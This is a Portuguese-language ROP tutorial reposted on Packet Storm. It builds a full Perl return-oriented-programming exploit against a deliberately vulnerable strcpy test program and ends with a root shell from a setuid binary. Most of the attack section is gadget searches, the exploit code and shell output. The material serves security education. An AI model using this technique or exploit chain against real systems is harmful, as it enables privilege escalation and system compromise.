what you don't know can hurt you

Return-Oriented Programming Na Unha!

Return-Oriented Programming Na Unha!
Posted Feb 23, 2012
Authored by m0nad

Whitepaper called Return-Oriented Programming Na Unha! Written in Portuguese.

tags | paper
MD5 | a419a2a94db7471d78bcf483922d6890

Return-Oriented Programming Na Unha!

Change Mirror Download
Return-Oriented Programming na unha!

1) Introdução
2) Ambiente
3) Código
4) Payload
5) Exploit
6) Binário
7) Contato
8) Referências

1) Introdução

Return-Oriented Programming é uma técnica de exploração que o atacante controlando
a stack, encadeia endereços para instruções seguidas de um return, estes chamados
de gadgets[1]. Esta técnica é muito interessante por passar por proteções como
Executable space protection(NX, DEP, W^X)[2].

Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este
último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou
seja, procurando pelas próprias instruções no binário.

2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ cat /etc/issue.net
Ubuntu 11.04
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

As proteções do sistema operacional podem ser encontrada no wiki do ubuntu[5].
Podemos ver que o ASLR está ativo.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space
2
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

3) Código

O código foi um stack-based buffer overflows clássico:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ cat vuln.c
#include <string.h>
int
main(int argc, char ** argv)
{
char buffer[256];
if (argc < 2)
return 1;
strcpy(buffer, argv[1]);
return 0;
}

------------------------------------------------------------------------------------

Compilei sem Smash the Stack Protection(SSP - Propolice)[6], utilizando a opção
-fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo
o código estatico, possibilitando assim mais gadgets.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra

------------------------------------------------------------------------------------

Rodamos o checksec.sh[7] para verificar as proteções no binário.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ bash checksec.sh --file vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem
PIE, sem relative path ou runpath.

4) Payload

A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve
em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para
NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de
.data para colocar a string, usei o readelf para descobrir o endereço:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ readelf -S vuln | grep 22
[22] .data PROGBITS 080cf020 086020 000740 00 WA 0 0 32
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para
'disassemblar', e o grep, para achar expressões regulares das instruções.
Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx
seguido de ret:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2
8053ed6: 59 pop %ecx
8053ed7: 5b pop %ebx
8053ed8: c3 ret
--
--
80cae04: 59 pop %ecx
80cae05: c3 ret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx |
ret:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2
8053eac: 5a pop %edx
8053ead: c3 ret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Certo, um pop %eax | ret seria bom:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2
80cc415: 58 pop %eax
80cc416: 03 0a add (%edx),%ecx
80cc418: c3 ret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o
ret, vamos ver se temos uma maneira de mover de algum registrador para o eax:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1
80770ac: 89 d0 mov %edx,%eax
80770ae: f3 c3 repz ret
--
80aa9a7: 89 d0 mov %edx,%eax
80aa9a9: c3 ret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, precisamos
colocar o endereço de .data em algum registrador, e mover a string /bin//sh para
esta área de memoria, para isso precisamos de mov de algum registrador que
controlamos para uma área de memoria:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1
8080391: 89 02 mov %eax,(%edx)
8080393: c3 ret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null-
byte na pilha.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1
8051be1: 31 c0 xor %eax,%eax
8051be3: c3 ret
--
8051c00: 31 c0 xor %eax,%eax
8051c02: c3 ret
--
806d2f4: 31 c0 xor %eax,%eax
806d2f6: c3 ret
--
8070f9a: 31 c0 xor %eax,%eax
8070f9c: c3 ret
--
8071140: 31 c0 xor %eax,%eax
8071142: c3 ret
--
809d40f: 31 c0 xor %eax,%eax
809d411: c3 ret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Tem de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor
correto de execve:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1
806d84f: 40 inc %eax
806d850: c3 ret
--
80c9dc3: 40 inc %eax
80c9dc4: c3 ret
--
80cbd20: 40 inc %eax
80cbd21: ca fa ff lret $0xfffa
--
80cefab: ff c0 inc %eax
80cefad: cf iret
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Encontramos! E é claro, precisamos de um int $0x80 para chamar o kernel para
executar a nossa syscall:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'int\s*\$0x80'
80487bf: cd 80 int $0x80
8052f2c: cd 80 int $0x80
8053fa8: cd 80 int $0x80
80545f0: cd 80 int $0x80
8077023: cd 80 int $0x80
807a5c8: cd 80 int $0x80
808b355: cd 80 int $0x80
808b35e: cd 80 int $0x80
m0nad@m0nad-notebook:~$

------------------------------------------------------------------------------------

Pronto, com esses gadgets é possível chamar um execve("/bin//sh", NULL, NULL).

5) Exploit

O exploit basta usar os gadgets encontrados, primeiro colocamos a string "/bin" em
eax.

------------------------------------------------------------------------------------

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin

------------------------------------------------------------------------------------

Depois jogamos a string para .data.

------------------------------------------------------------------------------------

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

------------------------------------------------------------------------------------

Fazemos o mesmo para colocar "//sh" em .data + 4.

------------------------------------------------------------------------------------

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

------------------------------------------------------------------------------------

Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em
.data + 8.

------------------------------------------------------------------------------------

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

------------------------------------------------------------------------------------

Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para
NULL que é .data + 8.

------------------------------------------------------------------------------------

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

------------------------------------------------------------------------------------

Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da
syscall execve (0xb) em eax, e chamar o int $0x80 | ret.

------------------------------------------------------------------------------------

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

------------------------------------------------------------------------------------

Vamos ao exploit completo!

------------------------------------------------------------------------------------

#!/usr/bin/perl
use strict;

my $p = "a" x 268;

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

------------------------------------------------------------------------------------

Para a exploração vamos colocar em suid root para fins de demonstração:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ sudo chown root:root vuln
[sudo] password for m0nad:
m0nad@m0nad-notebook:~$ sudo chmod +s vuln

------------------------------------------------------------------------------------

E finalmente a exploitação:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ ./vuln "$(perl xpl_vuln.pl)"
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
#

------------------------------------------------------------------------------------

r00t!

6) Binário

O binário e exploit utilizados podem ser encontrado no meu github[8].

7) Contato

- Victor Ramos Mello (m0nad)
- victornrm at gmail.com | m0nad at email.com
- @m0nadlabs
- m0nadlabs.wordpress.com

8) Referências

[1] http://en.wikipedia.org/wiki/Executable_space_protection
[2] http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html
[3] http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[4] http://shell-storm.org/project/ROPgadget/
[5] https://wiki.ubuntu.com/Security/Features
[6] http://en.wikipedia.org/wiki/Stack-smashing_protection
[7] http://www.trapkit.de/tools/checksec.html
[8] https://github.com/m0nad/Papers/tree/master/ropnaunha/bin

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close